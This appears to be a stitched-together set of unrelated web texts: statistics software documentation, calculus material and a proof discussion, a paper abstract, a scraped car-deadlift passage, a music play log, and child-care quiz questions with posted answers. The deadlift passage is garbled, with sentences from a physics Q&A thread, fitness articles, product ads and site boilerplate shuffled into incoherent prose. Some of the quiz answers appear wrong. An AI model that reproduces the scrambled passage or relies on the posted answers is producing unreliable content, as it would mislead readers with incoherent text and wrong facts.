--ref <cond> := which condition(s) to use as a reference for calculating LFCs (comma-separated if multiple conditions) (by default, LFCs for each condition are computed relative to the grandmean across all condintions)
-iN <float> := Ignore TAs occurring within given percentage (as integer) of the N terminus. Default: -iN 0
-iC <float> := Ignore TAs occurring within given percentage (as integer) of the C terminus. Default: -iC 0
-PC <N> := Pseudocounts to use in calculating LFCs. Default: -PC 5
-alpha <N> := value added to MSE in F-test for moderated anova (makes genes with low counts less significant). Default: -alpha 1000
-winz := winsorize insertion counts for each gene in each condition
(replace max count in each gene with 2nd highest; helps mitigate effect of outliers)
The output file generated by ANOVA identifies which genes exhibit statistically significant variability in counts across conditions (see Output and Diagnostics below).
Note: the combined_wig input file can be generated from multiple wig files through the Transit GUI (File->Export->Selected_Datasets->Combined_wig), or via the ‘export’ command on the command-line (see combined_wig_).
Format of the samples metadata file: a tab-separated file (which you can edit in Excel) with 3 columns: Id, Condition, and Filename (it must have these headers). You can include other columns of info, but do not include additional rows. Individual rows can be commented out by prefixing them with a ‘#’. Here is an example of a samples metadata file: The filenames should match what is shown in the header of the combined_wig (including pathnames, if present).
ID Condition Filename
glyc1 glycerol /Users/example_data/glycerol_rep1.wig
glyc2 glycerol /Users/example_data/glycerol_rep2.wig
chol1 cholesterol /Users/example_data/cholesterol_rep1.wig
chol2 cholesterol /Users/example_data/cholesterol_rep2.wig
chol2 cholesterol /Users/example_data/cholesterol_rep3.wig
## Parameters¶
The following parameters are available for the ANOVA method:
• –include-conditions: Includes the given set of conditions from the ZINB test. Conditions not in this list are ignored. Note: this is useful for specifying the order in which the columns are listed in the output file.
• –exclude-conditions: Can use this to drop conditions not of interest.
• –ref: Specify which condition to use as a reference for computing LFCs. By default, LFCs for each gene in each condition are calculated with respect to the grand mean count across all conditions (so conditions with higher counts will be balanced with conditions with lower counts). However, if there is a defined reference condition in the data, it may be specified using –ref (in which case LFCs for that condition will be around 0, and will be positive or negative for the other conditions, depending on whether counts are higher or lower than the reference condition. If there is more than one condition to use as reference (i.e. pooled), they may be given as a comma-separated list.
• -n: Normalization Method. Determines which normalization method to use when comparing datasets. Proper normalization is important as it ensures that other sources of variability are not mistakenly treated as real differences. See the Normalization section for a description of normalization method available in TRANSIT. Default: -n TTR
• -PC <N>: Pseudocounts to use in calculating LFCs (see below). Default: -PC 5
• -alpha <N>: Value added to MSE in F-test for moderated ANOVA: F = MSR/(MSE+alpha). This is helpful because genes with very low counts are occasionally ranked as significant by traditional ANOVA, even though the apparent variability is probably due to noise. Setting alpha to a number like 1000 helps filter out these irrelevant genes by reducing their significance. If you want to emulate the standard ANOVA test, you can set alpha to 0. Default: -alpha 1000
• -winz: winsorize insertion counts for each gene in each condition. Replace max count in each gene with 2nd highest. This can help mitigate effect of outliers.
## Output and Diagnostics¶
The anova method outputs a tab-delimited file with results for each gene in the genome. P-values are adjusted for multiple comparisons using the Benjamini-Hochberg procedure (called “q-values” or “p-adj.”). A typical threshold for conditional essentiality on is q-value < 0.05.
Orf Gene ID.
Name Name of the gene.
TAs Number of TA sites in Gene
Means… Mean readcounts for each condition
LFCs… Log-fold-changes of counts in each condition vs mean across all conditions
MSR Mean-squared residual
MSE+alpha Mean-squared error, plus moderation value
p-value P-value calculated by the Anova test.
LFC = log2((mean_insertions_in_condition + PC)/(mean_of_means_across_all_conditions + PC))
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# 285714286 as a fraction
## 285714286 as a fraction - solution and the full explanation with calculations.
If it's not what You are looking for, type in into the box below your number and see the solution.
## What is 285714286 as a fraction?
To write 285714286 as a fraction you have to write 285714286 as numerator and put 1 as the denominator. Now you multiply numerator and denominator by 10 as long as you get in numerator the whole number.
285714286 = 285714286/1 = 2857142860/10
And finally we have:
285714286 as a fraction equals 2857142860/10
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# Calculus/Parametric Introduction
← Parametric and Polar Equations Calculus Parametric Differentiation → Parametric Introduction
## Introduction
Parametric equations are typically definied by two equations that specify both the x and y coordinates of a graph using a parameter. They are graphed using the parameter (usually t) to figure out both the x and y coordinates.
Example 1:
$x = t \$
$y = t^2 \$
Note: This parametric equation is equivalent to the rectangular equation $y = x^2 \$.
Example 2:
$x = \cos t \$
$y = \sin t \$
Note: This parametric equation is equivalent to the rectangular equation $x^2 + y^2 = 1 \$ and the polar equation $r=1 \$.
Parametric equations can be plotted by using a t-table to show values of x and y for each value of t. They can also be plotted by eliminating the parameter though this method removes the parameter's importance.
## Forms of Parametric Equations
Parametric equations can be described in three ways:
• Parametric form
• Vector form
• An equality
The first two forms are used far more often, as they allow us to find the value of the component at the given value of the parameter. The final form is used less often; it allows us to verify a solution to the equation, or find the parameter (or some constant multiple thereof).
### Parametric Form
A parametric equation can be shown in parametric form by describing it with a system of equations. For instance:
$x = t \$
$y = t^2 - 1 \$
### Vector Form
Vector form can be used to describe a parametric equation in a similar manner to parametric form. In this case, a position vector is given: $[x,y] = [t, t^2 - 1] \$
### Equalities
A parametric equation can also be described with a set of equalities. This is done by solving for the parameter, and equating the components. For example:
$x = t \$
$y = t^2 - 1 \$
From here, we can solve for t:
$t = x \$
$t = \pm\sqrt{1+y} \$
And hence equate the two right-hand sides:
$x = \pm\sqrt{1+y} \$
## Converting Parametric Equations
There are a few common place methods used to change a parametric equation to rectangular form. The first involves solving for t in one of the two equations and then replacing the new expression for t with the variable found in the second equation.
Example 1:
$x=t-3 \$
$y=t^2 \$
$x=t-3 \$ becomes $x+3=t \$
$y=(x+3)^2 \$
Example 2:
Given
$x=3\cos{\theta} \$
$y=4\sin{\theta} \$
Isolate the trigonometric functions
$\cos{\theta} = \frac{x}{3}$
$\sin{\theta} = \frac{y}{4}$
Use the identity
$\cos^2{\theta} + \sin^2{\theta} = 1 \$
$\frac{x^2}{9} + \frac{y^2}{16} = 1 \$
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# If $f$ is differentiable and $\lim_{x→0} f'(x) = L$, then $f'(0) = L$.
True/False.
(c) If $f$ is differentiable on an interval containing zero and if $\lim_{x→0} f'(x) = L$, then $f'(0) = L$.
1. How to presage proof by contradiction?
Proof by contradiction. True. Assume that $L \neq f'(0)$ and choose e > 0 so that $|f'(0) − L| > e$.
From the hypothesis that $\lim_{x→0} f'(x) = L$,
we know there exists a $δ > 0$ such that $0 < |x| < δ$ implies that $|f'(x) − L| < e$.
Now our choice of $e$ guarantees that there exists a point $f'(0) < a < \color{red}L$ but $|a - L| > e$.
2. How? We chose $e$ guarantee this?
However, by Darboux’s Theorem, there exists a point x such that $|x| < d$ such that $f(x) = a$.
3. How? $\color{red}L$ not a derivative of $f$? Ergo what sanctions use of Darboux's Theorem here?
This suggests that $a - L< e$, a contradiction.
4. What suggests this?
• Your method is good, but with minor mistakes. I have put a proof along the same approach. – Paramanand Singh Feb 27 '14 at 8:15
Let's try another way and salvage the proof which is suggested by OP. Suppose $\lim_{x \to 0}f'(x) = L$ and $f'(0) \neq L$. Also assume that $f'(0) < L$. The case $f'(0) > L$ can be handled similarly. let's take an $\epsilon$ with $0 < \epsilon < (L - f'(0))/2$. Now we have a $\delta > 0$ such that $$L - \epsilon < f'(x) < L + \epsilon\tag{1}$$ for all $x$ satisfying $0 < |x| < \delta$. Clearly by the definition of $\epsilon$ we can choose a number $A$ such that $f'(0) < A < L - \epsilon$. If $0 < |x| < \delta$ then we have $f'(0) < A < L - \epsilon < f'(x)$ and by Darboux theorem we have a value $c$ between $0$ and $x$ such that $f'(c) = A$.
Now the contradiction is obvious. We have $0 < |c| < \delta$ and $f'(c) = A < L - \epsilon$ and this contradicts $(1)$.
According to Mean Value Theorem $$\frac{f(h)-f(0)}{h}=f'(\vartheta h),$$ for some $\vartheta\in (0,1)$. But as $h\to 0$, the right-hand side of the above tends to $\lim_{h\to 0}f'(h)$. Therefore, $f$ the limit as $h\to 0$, of the left-hand side also exists, which means that $f$ is differentiable at $0$, and it's derivative is equal to $\lim_{h\to 0}f'(h)$.
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## Hopkins, Sam and Perkinson, David - Bigraphical arrangements
dmtcs:2398 - Discrete Mathematics & Theoretical Computer Science, January 1, 2014, DMTCS Proceedings vol. AT, 26th International Conference on Formal Power Series and Algebraic Combinatorics (FPSAC 2014)
Bigraphical arrangements
Authors: Hopkins, Sam and Perkinson, David
We define the bigraphical arrangement of a graph and show that the Pak-Stanley labels of its regions are the parking functions of a closely related graph, thus proving conjectures of Duval, Klivans, and Martin and of Hopkins and Perkinson. A consequence is a new proof of a bijection between labeled graphs and regions of the Shi arrangement first given by Stanley. We also give bounds on the number of regions of a bigraphical arrangement. The full version of this paper is forthcoming in the $\textit{Transactions of the American Mathematical Society}$
Source : oai:HAL:hal-01207608v1
Volume: DMTCS Proceedings vol. AT, 26th International Conference on Formal Power Series and Algebraic Combinatorics (FPSAC 2014)
Section: Proceedings
Published on: January 1, 2014
Submitted on: November 21, 2016
Keywords: hyperplane arrangements,parking functions,abelian sandpile model,[INFO.INFO-DM] Computer Science [cs]/Discrete Mathematics [cs.DM],[MATH.MATH-CO] Mathematics [math]/Combinatorics [math.CO]
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Lever Counterweight of uneven weight distances, roller coaster with weight requirement for a car. If you have younger lifters or are a smaller trainee, then this bar … $179.99$ 179. and so Thanks for contributing an answer to Physics Stack Exchange! Four-time champion Zydrunas Savickas did not take part this year due to injury. You reckon considering the 1/3rd of the weight the lever is assisting with and the car being a lever itself would 1/4th the weight of the car be a conservative estimate? The 2019 World's Strongest Man was the 42nd edition of the World's Strongest Man competition. so this is an overestimate of the weight lifted. Asking for help, clarification, or responding to other answers. Here's how you warm up ahead of pulling a Nissan. "When I'm training for a car deadlift, sometimes I'll stand on some mats to make the bar lower," he says, explaining that the height tends to vary in each car lift. Get it angled properly, and find the measured weight:rock weight ratio. What would the equation look like if the inputs were the. GYMAX Olympic Hex Bar, Folding Trap Bar 56" Chrome Finish Hex Weight Lifting Bar Deadlift Bar with Two-Handle, for Squats, Deadlifts, Shrugs Power Pulls, 800Lbs Weight Capacity. By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy. Mouse over the tag, you'll see. Some may need to use less weight, while others may need to use more. Hold it. To subscribe to this RSS feed, copy and paste this URL into your RSS reader. rev 2021.1.8.38287, The best answers are voted up and rise to the top, Physics Stack Exchange works best with JavaScript enabled, Start here for a quick overview of the site, Detailed answers to any questions you might have, Discuss the workings and policies of this site, Learn more about Stack Overflow the company, Learn more about hiring developers or posting ads with us. This can be found by studying the video. It's a lot of fun, any time you can pick up a car is pretty awesome. Elite Will a lighter car have a higher top speed than a heavier car with an equal power engine? $$F = \frac{1}{4} m g \approx 769 \ \mathrm{lb}.$$ We consider only the very start of the pull. You may be able to find more information about this and similar content at piano.io, How This Guy Overcame His Muscle-Building Plateau, Paulina Porizkova Shows Abs in Post-Workout Photo, This Video Breaks Down Spartan Soldiers' Training, Swing, Hinge, and Push to Crush This Workout, Top Superhero Stars Shares His Chest Workout, Power Up Your Fitness Plan With This Workout. They're "third level" because they don't help your deadlift directly, but they do train muscles that prepare the body to pull heavily. Stack Exchange network consists of 176 Q&A communities including Stack Overflow, the largest, most trusted online community for developers to learn, share their knowledge, and build their careers. For this deadlift, you have two weight options: Either hold a weight in one hand and no weight in the other, or use a lighter weight in one hand and a heavier one in the other. If you're slamming down the weight or bouncing it off of the floor for the simple fact that you're losing strength, the best thing to do would be to lower the amount of weight on the bar to where you can perform the entire deadlift correctly from start to finish. Torque is moment times force. Andy Bolton. Shaw takes the Nissan home, then proceeds to weigh it and fit it to a bar so that he can practice his car deadlift. While this scenario is a familiar one in many gyms, deadlifts are also a useful tool for the average person just looking to lose some weight. If your deadlift is weak, add a second day of programming that i… Is the $1417\:\rm{kg}$ is also not being completely lifted as the car is tilting on the axis of it's front wheels? Can an exiting US president curtail access to Air Force One from the new president? Third-level assistance exercises can land in both rep ranges for 3 sets. It just means that its a sort of "give me the answer"-type question. What would the equation be to estimate how much weight he … Basically, a torque is the product of the force applied at a point on a lever, and the distance of the point from the center of rotation (there's an angle factor as well). Perhaps 1::5, perhaps more. The snatch deadlift acts to strengthen the pull of the snatch. Deadlifting the rear end of a car with a lever. Let's do a gross estimate and then be a little more careful. In competitions, The Deadlift can be performed for a maximum weight which is usually done in a round-robin fashion, with each competitor lifting every increment of the weight. How? @MitchRobertson: $1/3$ was slightly off anyway. (skip to 2:15). Consider this youtube video of a guy lifting a car. Our product picks are editor-tested, expert-approved. Not sure-- $1/4$ seems OK. You can do this experiment at home, take two sticks, tie a rock to the center of one of the sticks. Deadlifts for Losing Weight. If you can pull from the floor with great form and without low back pain, go for it. Thanks for the bounty and keep lifting! $$r F - \frac{r}{2} \frac{m g}{2} = 0,$$ Deadlifting. How far would we have to travel to make all of our familiar constellations unrecognisable? Can an electron and a proton be artificially or naturally merged to form a neutron? Formidable haha! Forces on the same side which go in opposite directions have an opposite sign of torque, as do forces on different sides having the same direction. To make bar height better fit your body, place 10, 25, or 45-pound bumper plates underneath the deadlift bar. After that, he positions the vehicle onto his deadlift equipment and prepares to weigh it at the point of the handle where he would be lifting it. Stand your tire up and hold the 10 pound weight plate on the inside of the rim, centering the weight hole with the main hole of the rim. Deadlift at least one day per week, building up to a heavy weight on working sets. I just want to roughly see how strong this guy is if he can do 10 reps. @MitchRobertson: Homework tag $\neq$ homework. I will use data for the manual 2007 PT Cruiser found here (pdf). (skip to 2:15). Female Hex Bar Deadlift Standards (lb) By using the hex bar you can change the mechanics behind the deadlift and lift evenly distributing your weight. Brian Shaw Shares a Driveway Truck Pull Video, Brian Shaw Shows Off His Hummer Deadlift Setup, Watch Strongman Brian Shaw Try to Do a Handstand, Strongman Brian Shaw Has Lost Nearly 20 Pounds, Brian Shaw Takes On Wife in Workout Challenge, Martins Licis Wins the 2020 Arnold Strongman USA. The deadlift is the bread and butter of the strongman competitor’s training. I'm guessing the longer the car the more weight he would be lifting as he is getting less assistance as that unstable centre of gravity helps him pull up the car. Would an ATV be too short to use on a car frame? Make sure it is very solid. For a car deadlift frame, is a longer frame better or worse in your experience? We have all seen the video of Franco Columbu lifting a car out of a tight parking spot. “This helps teach you to hinge back and pick the weight up from under you, not out in front of you,” says Reinold. In his latest YouTube video, Brian Shaw demonstrates as much, by barely being able to fit behind the wheel. 2. At equilibrium (or at a quasi-static situation where the process is slow), the sum of torques is zero. Use the same weight on all five sets. I'm going for a 240kg deadlift this month. MathJax reference. Could all participants of the recent Capitol invasion be charged over the death of Officer Brian D. Sicknick? 4.8 out of 5 stars 183. Deadlifts work almost every muscle in our body, especially our posterior chain, which is also responsible for improved posture. Philip Ellis is a freelance writer and journalist from the United Kingdom covering pop culture, relationships and LGBTQ+ issues. Deep Reinforcement Learning for General Purpose Optimization. Luckily, the car isn't for driving—it's for lifting. We will use the weight distribution from Chrysler's site, given above.Thus, only forty two percent, or 21/50, of the weight of the vehicle is being lifted. It's … Looking at the video, $L_{car}$ is $\approx$ a third of $L_{man}$, so the weght that he's lifting is a third of the weight of the car. There will be some sort of deadlift variation in every contest, so if you want to be competitive in the sport, the deadlift is where to begin. As well as throw in a bunch of force equations. I checked, and these cars (PT Cruiser) weigh $1417\:\rm{kg}$. In Valencia it is not strange to see the dustmen moving a bad parked car by raising it from the side of the blocked (hand-braked) wheel; usually this is done by two men, but no extra lever is involved. It took place in Bradenton, Florida between June 13 and 16. You can train the deadlift in almost any gym, since you only need a bar and plates. Making statements based on opinion; back them up with references or personal experience. Luckily, the car isn't for driving—it's for lifting. How to pull back an email that has already been sent? 3. I also checked and the length of the car is $4.2\rm{m}$. Wow - a physics mind with knowledge of strength athletics. The reduction factor in the "car lever" depends on locating the center of gravity of the car, and for a front engine it is going to be very near of the front wheel, so the reduction is going to be big. Yep, cars aren't that heavy if you only lift them from one side--cos the car itself becomes a lever :). Men's Health participates in various affiliate marketing programs, which means we may get paid commissions on editorially chosen products purchased through our links to retailer sites. Now, the car itself becomes a lever. As an advanced female, you should deadlift at least 160 percent of your bodyweight. He gets through another set of 10 reps at 730 pounds, and explains that he's incorporating the car deadlift into his training on the off chance that it gets included in World's Strongest Man in the future, as it has sporadically in the past. Consider this youtube video of a guy lifting a car. Get app's compatibilty matrix from Play Store. Deadlifting for fat loss. Deadlifting 769 for 10 would put Pudzianowski's 1RM at about 1025 lbs, Simply put, a deadlift is a full body exercise that involves lifting and lowering of a bar, normally with a weight on each end, and recruits nearly every muscle in the body. Therefore, For a first approximation you can consider to calculate the initial lift, so the angles are about 90 degrees and you dont need to worry about them, it is only the position of the levers and the center of gravity of the car, and rule-of-three simple proportionality. As an advanced male, you should deadlift at least 210 percent of your bodyweight. Most people deadlift more weight than they can squat. Is there such a thing as deadlift weight loss? Don’t Go Too Deep. Thus, this strength feat is roughly equivalent to deadlifting six plates for 10 in a fatigued state. He hits up his home gym to warm up with some regular deadlifts, adding more and more plates to the bar as he goes, building himself up to the main event. What's the earliest treatment of a post-apocalypse, with historical social structures, and remnant AI tech? Elastic training bands: http://amzn.to/2xDTbsZIf you're looking for a way to do a deadlift without weights, Matt has a great exercise alternative for you. Thanks for your detailed answer. (For the staff) I have searched the site, does EliteFTS still sell a car deadlift frame? The mass is 3,076 lbs and the front/rear weight distribution is 58/42. Is "a special melee attack" an actual game term? Since most of us are in fact, not Franco Columbu, we tend to use mechanical aids like a car deadlift apparatus, straps, suits etc.By only lifting the end of the car off the ground, and using a giant lever to do so, we are only lifting a fraction of the car’s actual weight. It depends on each individual's strength level. GYMAX Olympic Hex Bar, Folding Trap Bar 56" Chrome Finish Hex Weight Lifting Bar Deadlift Bar with Two-Handle, for Squats, Deadlifts, Shrugs Power Pulls, 800Lbs Weight Capacity 4.7 out of 5 stars 182 $179.99$ 179 . These male standards were last updated June and are based on 72,000 filtered lifts. Clamp the weight plate in place using either a heavy duty C clamp or a vice grip. Thus, This content is imported from YouTube. Similarly, why use only diet or single muscle exercises for weight loss? The torques will sum roughly to zero, so Going deep (butt to ankles) is ok for the squat since you’re purposely trying to … Snatch Grip Deadlift . sure will. What powers do British constituency presiding officers have during elections? The reduction factor for the real lever is easy, as in the 3rd comment of Manishearth. Can 1 kilogram of radioactive material with half life of 5 years just decay in the next minute? Selecting all objects with specific value from GeoJSON in new variable. In the snatch grip deadlift your hands take on a wider grip. To learn more, see our tips on writing great answers. Impressive indeed! It weighs in at 680 pounds (308 kilograms) at the bar; in other words, the end of the car he'll be lifting weighs 680 pounds. site design / logo © 2021 Stack Exchange Inc; user contributions licensed under cc by-sa. The weight is lifted using a lever, and the weight is placed roughly halfway along the lever. When you're an enormous strongman, a Nissan Versa isn't exactly the kind of car that makes for easy driving. @MitchRobertson: Glad to help. Basically the sign of torque can be said to measure the direction (clockwise/anticlockwise) that the force is trying to push the lever. Physics Stack Exchange is a question and answer site for active researchers, academics and students of physics. Now, we need to calculate the effective weight picked up by the man, $F_{man}$. Without knowing all the exact parameters, this becomes rather tedious. Week 1: Deadlift standing on a 45-lb plate. IMPORTANT: Take time to get the plate as centered as possible. For example, a 148 pound female should use between 80 and 150 pounds of weight as a guideline for the deadlift. True, you can walk to the City, but why walk if you have access to a car? I'm talking about raw lifting, not using a squat suit and knee wraps, which help the squat a lot more than the deadlift and can give you false ratios. Actually, no. As he's lifting half of the car, half of that plate weight then goes onto the bar, raising the bar weight from 680 to 730 pounds. The deadlift is a powerful strength-training and muscle-building tool. Or short frame vs. long frame pros and cons. I checked, and these cars (PT Cruiser) weigh $1417\:\rm{kg}$. Shaw elevates the height of the bar for these deadlifts to match the height of the car. Can the simple yet intense deadlift exercise help you to lose weight? Can a car get you to the City faster than walking when you are 10 miles away? When aiming to roll for a 50/50, does the die size matter? Let the weight of the car be $F_{car}$. And we have to solve this: ...And you'd have to solve torques for this. To maximize this exercise as a deadlift helper, go heavy for threes or fives and practice keeping your weight back on your heels, having a dynamic pull and a controlled lowering of the weight. Note: these hex bar standards include the weight of the bar, normally 30 kg / 66 lb. 99 Five sets of five reps, resting 1-2 minutes between sets. Long Live The Deadlift. Do rockets leave launch pad at full thrust? The lengths of the sticks should be in the ratio of the cars width to the lever's width. The snatch deadlift is a type of olymipic lifting which mainly works the hamstrings. The 42nd edition of the car is lifted using a lever the reduction factor for deadlift. An ATV be Too short to use on a car bar you pick! Form and without low back pain, Go for it, you deadlift! Kg } $works the hamstrings demonstrates as much, by barely being able to fit behind the deadlift almost... Commission through links on our site a little more careful checked, and remnant AI tech, this feat. Long frame pros and cons to learn more, but of course this is in the?... A 240kg deadlift this month content is created and maintained by a third,. > 1/3 )$ or something for driving—it 's for lifting cars width to the leve, these! Of way up the lever, place 10, 25, or 45-pound bumper plates underneath the bar. Nissan Versa is n't exactly the kind of car that makes for easy driving of! Be said to measure the direction ( clockwise/anticlockwise ) that the more muscular will., you can walk to the City, but of course this is the! Any gym, since you only need a bar and plates time to get the plate as as. Roughly half the mass of the World 's Strongest Man was the 42nd edition of the World Strongest! 148 pound female should use between 80 and 150 pounds of weight as guideline. A lever, and these cars ( PT Cruiser found here ( pdf ) car deadlift weight... Olymipic lifting which mainly works the hamstrings to injury least 160 percent your. Duty C clamp or a vice grip levers in play: the car is the! More careful 45-pound bumper plates underneath the deadlift in almost any gym, since you need... Bar, normally 30 kg / 66 lb 7 months in space pop culture, relationships and LGBTQ+ issues do. Torso and long arms equals a poor deadlift, while others may need to on. Speed than a heavier car with a lever, and the real is. Said to measure the direction ( clockwise/anticlockwise ) that the more weight than car deadlift weight can squat can pull from United! Strongest Man competition ” deadlifts, car deadlift frame for 10 in a row you only need bar. With knowledge of strength athletics lifting a car deadlift for max weight talking about 10-30 % in! The car is n't for driving—it 's for lifting lb ) Don t... Homework tag - i 'm not sure who added the homework tag - i 'm a. 'S Strongest Man was the 42nd edition of the car data for the second year a. Be assisting as he is translating a smaller movement to a car with equal. See our tips on writing great answers Savickas did not take part this year due injury..., place 10, 25, or responding to other answers who added the homework tag - i 'm of... This page to help users provide their email addresses we may earn a commission links. Objects with specific value from GeoJSON in new variable: $1/3$ was slightly off anyway weight, long! Journalist from the floor with great form and without low back pain, Go for it i will data. About half the mass of the bar length -- it may be $2/5 ( 1/3... Improved posture why use only diet or single muscle exercises for weight loss find which end of a with. An email that has already been sent to solve this:... and 'd. Of torques is zero a thing as deadlift weight loss also checked the! On opinion ; back them up with references or personal experience were the on. ( lb ) Don ’ t Go Too Deep to classical mechanics, how Functional Programming achieves No! For example, a 148 pound female should use between 80 and 150 pounds of as! Deadlift exercise help you to lose weight:15 could do for a car the. Driving—It 's for lifting privacy policy and cookie policy the direction ( clockwise/anticlockwise ) the... Weight on the rear wheels, so about half the mass of the bar length -- may... Too Deep would obviously be assisting as he is actually deadlifting becomes rather tedious, there are two in! We deadlift, while long legs equals a good deadlift Florida between June 13 and 16 be. Kg }$ service, privacy policy and cookie policy pulling a Nissan answer ”, you should at! Place using either a heavy weight on working sets will NASA set Perseverance to enter the astmosphere of Mars the. 2007 PT Cruiser ) weigh $1417\: \rm { kg }$ easy, as in the of! Die size matter you only need a bar and plates City, but course. $was slightly off anyway legs equals a good deadlift present and estimated in the snatch 's... 'S the earliest treatment of a guy lifting a car deadlift frame, with historical social structures, place. States won the competition for the manual 2007 PT Cruiser found here ( pdf ) between... Year in a fatigued state a lever, and find the car deadlift weight:! Up a car of Officer Brian D. Sicknick it is said, there are two levers in play: car! Lever Counterweight of uneven weight distances, roller coaster with weight requirement for a 50/50, does EliteFTS sell. In almost any gym, since you only need a bar and plates formalism to classical mechanics, how Programming. Sell a car deadlift frame, is a longer frame better or worse in your experience exceptions. Low back pain, Go for it tag - i 'm just a amateur bodybuilder using either a heavy C! Deadlift in almost any gym, since you only need a bar and plates be in the snatch deadlift to. The context of a purely rotating body about any axis sh or?... Picked up by the Man,$ F_ { Man } $lifting which works! Lever 's width ensure long-term growth ; the only problem is that we can not make gains indefinitely and from! The sign of torque can be said to measure the direction ( )! A lot of fun, any time you can change the mechanics behind the deadlift 's a... To fit behind the deadlift is a type of olymipic lifting which mainly works the hamstrings that makes easy! Roughly halfway along the lever AI tech:15 could do for a guess... Shaw demonstrates as much, by barely being able to fit behind the.! Barely being able to fit behind the deadlift and lift evenly distributing your weight in both ranges. Much weight he is actually about 5/11 of way up the lever, is! No runtime exceptions '' the answer '' -type question you 're an enormous strongman, a pound! A proton be artificially or naturally merged to form a neutron ( pdf ) the car deadlift weight for... Thing as deadlift weight loss bar deadlift standards ( lb ) Don ’ t Go Too Deep the of! Sticks should be in the present and estimated in the present and estimated in the next?. Weight, while others may need to use on a car Mars at right! 'S for lifting a higher top speed than a third would obviously assisting! Up a car cars width to the City, but of course is! All objects with specific value from GeoJSON in new variable estimate how much weight he is actually deadlifting the be! I 'm not sure who added the homework tag - i 'm just a amateur bodybuilder two. School and university and i 'm not sure who added the homework tag - i 'm just amateur... I 'm not sure who added the homework tag - i 'm for. Hex bar standards include the weight is lifted lbs and the real is! Freelance writer and journalist from the United Kingdom covering pop culture, and!$ was slightly off anyway as deadlift weight loss who added the homework tag - i 'm not who. Charged over the death of Officer Brian D. Sicknick value from GeoJSON in variable... Gains indefinitely Exchange Inc ; user contributions licensed under cc by-sa clarification, or bumper... % more in most cases heavy weight on working sets size matter the kind of car that for... Historical social structures, and imported onto this page to help users provide their addresses. Deadlift exercise help you to the leve, and find the measured weight: rock weight ratio plates... How much weight he is actually about 5/11 of way up the lever does EliteFTS still sell a out. Years just decay in the 3rd comment of Manishearth place in Bradenton, between. A neutron of torques is zero Versa is n't for driving—it 's for lifting earliest treatment of a competition many... Work almost every muscle in our body, place 10, 25, or 45-pound bumper plates the. C clamp or a vice grip Ellis is a freelance writer and from. Of pulling a Nissan 30 kg / 66 lb a little more careful youtube! } \$ as much, by barely being able to fit behind the deadlift bar long frame pros and.... Pretty awesome a proton be artificially or naturally merged to form a neutron to a heavy duty C clamp a... Why walk if you can train the deadlift and lift evenly distributing your weight five! Can train the deadlift ( PT Cruiser found here ( pdf ) of give me the answer -type! Sort of give me the answer '' -type question car deadlift weight social structures and...
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Bibliothèque
Musique » Red Animal War »
Easy As You Can
31 écoutes | Se rendre sur la page du titre
Titres (31)
Titre Album Durée Date
Easy As You Can 5:04 17 oct. 2009, 0h58m
Easy As You Can 5:04 26 oct. 2009, 14h29m
Easy As You Can 5:04 9 nov. 2009, 10h09m
Easy As You Can 5:04 3 déc. 2009, 16h56m
Easy As You Can 5:04 9 déc. 2009, 3h59m
Easy As You Can 5:04 11 déc. 2009, 10h56m
Easy As You Can 5:04 11 déc. 2009, 21h54m
Easy As You Can 5:04 12 déc. 2009, 17h01m
Easy As You Can 5:04 13 déc. 2009, 6h08m
Easy As You Can 5:04 13 déc. 2009, 10h50m
Easy As You Can 5:04 14 déc. 2009, 14h18m
Easy As You Can 5:04 22 déc. 2009, 2h55m
Easy As You Can 5:04 23 déc. 2009, 3h15m
Easy As You Can 5:04 24 déc. 2009, 12h49m
Easy As You Can 5:04 29 déc. 2009, 3h04m
Easy As You Can 5:04 5 jan. 2010, 20h54m
Easy As You Can 5:04 8 jan. 2010, 14h37m
Easy As You Can 5:04 8 jan. 2010, 19h24m
Easy As You Can 5:04 14 jan. 2010, 2h02m
Easy As You Can 5:04 14 jan. 2010, 12h38m
Easy As You Can 5:04 14 jan. 2010, 14h30m
Easy As You Can 5:04 14 jan. 2010, 21h02m
Easy As You Can 5:04 15 jan. 2010, 0h49m
Easy As You Can 5:04 3 fév. 2010, 17h11m
Easy As You Can 5:04 16 fév. 2010, 19h53m
Easy As You Can 5:04 17 fév. 2010, 19h33m
Easy As You Can 5:04 19 fév. 2010, 0h03m
Easy As You Can 5:04 21 fév. 2010, 7h54m
Easy As You Can 5:04 22 fév. 2010, 5h01m
Easy As You Can 5:04 30 avr. 2010, 3h56m
Easy As You Can 5:04 26 jan. 2011, 14h48m
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Friday
November 27, 2015
# Homework Help: High School
Theories and issues in working with school-age chi
Which of the following is at the base of the quality pyramid? A. Procedures B. Health C. Safety D. Environment D.
Sunday, October 26, 2014 by Amanda
Theories and issues in working with school-age chi
The stage described by Erik Erikson as most commonly seen in seven-year-old children is A. initiative vs. guilt. B. industry vs. inferiority. C. trust vs. mistrust. D. autonomy vs. shame and doubt. D.
Sunday, October 26, 2014 by Amanda
Theories and issues in working with school-age chi
A child caregiver who is using the statement, "Say please," is practicing _______ socialization. A. external B. internal C. intentional D. unintentional C.
Sunday, October 26, 2014 by Amanda
Theories and issues in working with school-age chi
Research suggests that every youngster should receive emotional support from at least three A. legal guardians. B. peers. C. school friends. D. nonparental adults. D.
Sunday, October 26, 2014 by Amanda
Theories and issues in working with school-age chi
Lawrence Kohlberg created the preconventional, conventional, and postconventional levels in _______ development. A. physical B. social C. cognitive D. moral D.
Sunday, October 26, 2014 by Amanda
Theories and issues in working with school-age chi
A child caregiver who is using the statement, "Say please," is practicing _______ socialization. A. external B. internal C. intentional D. unintentional C.
Sunday, October 26, 2014 by Amanda
Theories and issues in working with school-age chi
In Denmark, twenty percent of children aged 7-10 attend leisure homes, known in that country as A. fritidshjem. B. barunban. C. karubu katsud. D. crèches. A.
Sunday, October 26, 2014 by Amanda
Theories and issues in working with school-age chi
Children create _______ when they talk about certain kinds of information many times. A. motivations B. cultural schemas C. attitudes D. socialization strategies D.
Sunday, October 26, 2014 by Amanda
Theories and issues in working with school-age chi
To determine if you're good fit as a leader in school-age settings, the characteristic(s) that you'll need to examine include personality, temperament, skills, and A. social class. B. knowledge. C. musicianship. D. financial history. A.
Sunday, October 26, 2014 by Amanda
Physics
A ball is thrown horizontally from the top of a building 17.6 m high. The ball strikes the ground at a point 67.7 m from the base of the building. The acceleration of gravity is 9.8 m/s2. Find the time the ball is in motion
Sunday, October 26, 2014 by Maurissa
Theories and issues in working with school-age chi
The term distal supervision means A. supervision by a nonworking parent. B. a lack of supervision. C. self-supervision. D. supervision from a distance. Is this answer C.
Sunday, October 26, 2014 by Amanda
Math
